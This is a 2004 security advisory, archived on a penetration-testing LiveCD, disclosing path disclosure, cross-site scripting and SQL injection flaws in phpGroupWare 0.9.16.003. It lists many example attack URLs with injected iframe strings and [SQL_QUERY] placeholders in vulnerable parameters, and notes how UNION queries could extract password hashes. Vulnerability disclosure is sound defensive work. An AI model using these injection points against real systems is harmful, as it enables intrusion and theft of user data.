home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / phpgroupware / phpGroupWare.txt < prev   
Text File  |  2005-02-12  |  6KB  |  155 lines

  1.  
  2.  
  3. ##########################################################
  4. # GulfTech Security Research           December 14th, 2004
  5. ##########################################################
  6. # Vendor  : phpGroupWare
  7. # URL     : http://www.phpgroupware.org
  8. # Version : phpGroupWare 0.9.16.003
  9. # Risk    : Multiple Vulnerabilities
  10. ##########################################################
  11.  
  12. Description:
  13. phpGroupWare (formerly known as webdistro) is a multi-user 
  14. groupware suite written in PHP. It provides a Web-based calendar, 
  15. todo-list, addressbook, email, news headlines, and a file manager. 
  16. The calendar supports repeating events. The email system supports 
  17. inline graphics and file attachments. The system as a whole supports 
  18. user preferences, themes, user permissions, multi-language support, 
  19. an advanced API, and user groups. phpGroupWare is included with some 
  20. Linux distributions.
  21.  
  22.  
  23.  
  24. Path Disclosure:
  25. phpGroupWare allows for full path disclosure. This issue can take 
  26. place in more than one way. One example that will trigger the path 
  27. disclosure is by appending junk (such as metacharacters) to the end 
  28. of a session id. Below are two other examples
  29.  
  30. http://host/phpgroupware/preferences/preferences.php?appname=blah
  31. http://host/phpgroupware/index.php?menuaction=blah
  32.  
  33. This will reveal the full physical path of the web directory, and 
  34. could possibly aid a would be attacker. The other example of path
  35. disclosure can be triggered by specifying an invalid menu item.
  36.  
  37.  
  38.  
  39. Cross Site Scripting:
  40. Cross Site Scripting takes place in multiple places in phpGroupWare.
  41. Below are some examples.
  42.  
  43. http://host/phpgroupware/wiki/index.php?kp3=99884d8a63791f406585913d74476b11
  44. %22%3E%3Ciframe%3E
  45. http://host/phpgroupware/index.php?menuaction=forum.uiforum.post&type=new%22
  46. %3E%3Ciframe%3E
  47. http://host/phpgroupware/index.php?menuaction=forum.uiforum.read&msg=202%22%
  48. 3E%3Ciframe%3E
  49. http://host/phpgroupware/index.php?menuaction=forum.uiforum.read&forum_id=3%
  50. 22%3E%3Ciframe%3E&msg=202
  51. http://host/phpgroupware/index.php?menuaction=forum.uiforum.read&msg=42&pos=
  52. 10%22%3E%3Ciframe%3E
  53. http://host/phpgroupware/index.php?menuaction=preferences.uicategories.index
  54. &cats_app=%22%3E%3Ciframe%3E
  55. http://host/phpgroupware/index.php?menuaction=preferences.uicategories.edit&
  56. cats_app=notes&extra=&global_cats=True&cats_level=True&cat_parent=188&cat_id
  57. =188%22%3E%3Ciframe%3E
  58. http://host/phpgroupware/index.php?menuaction=email.uimessage.message&msgbal
  59. l[msgnum]=1%22%3E%3Ciframe%3E&msgball[folder]=INBOX.hello&msgball[acctnum]=0
  60. &sort=1&order=1&start=0
  61. http://host/phpgroupware/index.php?menuaction=email.uicompose.compose&fldbal
  62. l[folder]=INBOX.hello&fldball[acctnum]=0&to=%22%3E%3Ciframe%3E&personal=&sor
  63. t=1&order=1&start=0
  64. http://host/phpgroupware/tts/viewticket_details.php?ticket_id=338%22%3E%3Cif
  65. rame%3E
  66.  
  67. These Cross Site Scripting issues could allow an attacker to possibly 
  68. gather sensitive information from a victim, and execute arbitrary client 
  69. side code in the context of the victim's browser.
  70.  
  71.  
  72.  
  73. SQL Injection:
  74. phpGrouWare has several SQL Injection holes. Some are not bad, some are 
  75. a bit unorthadox, and a few are dangerous. One example of a kinda unorthadox
  76.  
  77. SQL Injection is in the Trouble Ticket system. If an attacker requests a url
  78.  
  79. like this:
  80.  
  81. http://host/phpgroupware/tts/viewticket_details.php?ticket_id=355[SQL_QUERY]
  82.  
  83. nothing will happen, but as soon as you save the ticket you are allowed to 
  84. influence a SELECT query which could be very bad. Some more examples of the 
  85. not so dangerous SQL Injection issues are:
  86.  
  87. http://host/phpgroupware/index.php?menuaction=todo.ui.show_list&order=[SQL_Q
  88. UERY]&sort=ASC&filter=&qfield=&start=&query=
  89. http://host/phpgroupware/index.php?menuaction=projects.uiprojects.list_proje
  90. cts&order=[SQL_QUERY]&sort=ASC&filter=&qfield=&start=&query=&pro_main=&actio
  91. n=mains
  92.  
  93. It should be noted that other parts of this query can be tampered with also,
  94.  
  95. such as the sort fields etc. Now for some examples of the more dangerous 
  96. issues that let you influence the query right in the middle of a SELECT
  97. statement.
  98.  
  99. http://host/phpgroupware/index.php?menuaction=projects.uiprojects.edit_proje
  100. ct&pro_main=31&action=subs&project_id=32[SQL_QUERY]
  101. http://host/phpgroupware/index.php?menuaction=projects.uiprojects.edit_proje
  102. ct&pro_main=31[SQL_QUERY]&action=subs&project_id=32
  103. http://host/phpgroupware/index.php?menuaction=projects.uiprojects.view_proje
  104. ct&pro_main=31&action=subs&project_id=32[SQL_QUERY]&domain=default
  105. http://host/phpgroupware/index.php?menuaction=projects.uiprojects.view_proje
  106. ct&pro_main=31[SQL_QUERY]&action=subs&project_id=32&domain=default&494fbb
  107. http://host/phpgroupware/index.php?menuaction=projects.uiprojecthours.view_h
  108. ours&project_id=32&pro_parent=&action=subs&hours_id=26[SQL_QUERY]&domain=def
  109. ault
  110.  
  111. You can use these particular examples to UNION select info from the database
  112. with
  113. little effort required. This can be bad when password hashes start getting
  114. pulled
  115. by an attacker, or other sensitive data. I will release my proof of concepts
  116. for
  117. phpGroupWare once the updated version is available.
  118.  
  119.  
  120.  
  121. Notes:
  122. All of the example url's had the session id, click history, and kp3
  123. variables 
  124. removed except where they were part of one of the examples. I also wrapped a
  125. few of the above examples for readability.
  126.  
  127.  
  128.  
  129. Solution:
  130. I was able to speak to one of the lead developers via IRC on September 25th,
  131. 2004. I made the developer aware of the vulnerabilities, and held off on 
  132. publishing my findings for a couple of months. I have not been able to get
  133. in
  134. touch with any developers for some weeks now, so I publish my finding in
  135. hopes 
  136. that the community will present a fix :) 
  137.  
  138.  
  139.  
  140. Related Info:
  141. The original advisory can be found at the following location
  142. http://www.gulftech.org/?node=research&article_id=00054-12142004
  143.  
  144.  
  145.  
  146. Credits:
  147. James Bercegay of the GulfTech Security Research Team
  148.  
  149. -- 
  150. No virus found in this outgoing message.
  151. Checked by AVG Anti-Virus.
  152. Version: 7.0.296 / Virus Database: 265.5.0 - Release Date: 12/9/2004
  153.  
  154.  
  155.